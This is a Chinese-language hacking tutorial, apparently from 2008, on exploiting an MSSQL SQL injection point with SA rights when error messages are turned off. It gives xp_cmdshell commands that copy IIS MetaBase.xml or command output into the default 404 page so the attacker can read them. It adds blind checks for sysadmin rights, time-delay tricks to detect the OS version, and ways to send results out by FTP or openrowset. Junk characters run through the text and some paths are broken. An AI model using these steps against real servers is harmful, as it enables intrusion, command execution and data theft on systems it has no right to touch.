遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。1 |' u$ N: ` a7 \' D9 t. x
9 ?7 c7 O3 @! `0 e2 r" Q
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。" q4 d; y. X m
% u N6 u4 x' Y0 ^
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。) `( p& N6 T1 Z/ J* w
4 B2 k5 C" [, G0 k4 c IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm8 R2 @6 A! h1 \7 E1 |9 ~
" h8 Q ]8 a( o# d
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--+ `; T/ l! j, h9 }- `" i
( Q6 q; }- U6 ~# R) M, x
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
: z1 x- ?6 e% P/ G, c/ Z9 s6 l4 q$ P3 _( g
执行命令得到回显
/ q. @% @; h) ?9 G
- B" Z8 d4 e! k* p9 d 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
- Z& k1 a$ E3 L/ F0 v- B( L7 s% m5 y' T9 m- f5 k" r0 L
得到文件也shi相同,把文件copy到404b.htm就行了4 A- Q& K# c1 J2 a/ i, }
. T5 @ Q4 R/ f0 C by 28ice, 2008/6/26
* H# f0 [7 K0 |9 _
' c; N9 G& k3 _- c7 r( \! ~ L 摘自 28度的冰
I7 c2 {/ t6 T% e: y
3 b( E# X# z2 G' K9 b 盲注判断权限和操作系统版本
, [2 B5 z. M& I9 Q% G0 K4 g
- M6 |1 V( b% p0 n2 [ 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
) M2 ^4 d8 n* |
: \6 n+ {- j' C1 n! i8 F 最简单的,可能以用这样的方法:2 d7 n' c6 b2 K. X
# G% h& ^$ ?; b
1=(select IS_SRVROLEMEMBER(’sysadmin’))* |1 u) S3 z( n4 d' I
. a' ? O6 j3 r* h4 J0 R
当然,有些情况下,这个方法并不奏效。
0 l3 }7 y6 z6 L& d q8 x
5 n% I1 l- B: L4 C4 y- ~: I 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
- o- E0 I- L* n- G5 \* D, P! i3 K* j: G
有个3办法可能以解决这个问题( ^1 T- Y2 H4 q5 T$ N
) T M$ k2 h" c4 W" U0 C/ A0 L a.把执行结果写到404b.htm,具体请看我的上一篇文章; H$ X1 z" l6 w' ^# \* R
6 w! |4 \1 P' Z7 Z5 i9 M5 C b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
2 P$ B m5 ?1 j& w3 K4 \6 \* t
% S+ S2 {9 Q* C# O6 K c.如果1433端口可能以连接,那干脆新建个sql登录' m G. q3 @8 y- q& _
( t0 I9 Y& ?! p6 ?" ?3 l# ?6 [3 M( g d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数) y2 j1 y4 R% ]1 M5 ? I
' b. [2 Q; p* U( w6 ]2 o# i' K 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
; m# N! q# ~" w: z3 K/ L4 A* P1 g f7 l- o1 I
很简单
# z: s$ g, _, R$ K' O3 t0 S) \7 F8 r" }% N
执行systeminfo* T: |, y- ]7 [3 j& V# B$ Z
$ R7 F8 S2 V% r; \. [
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |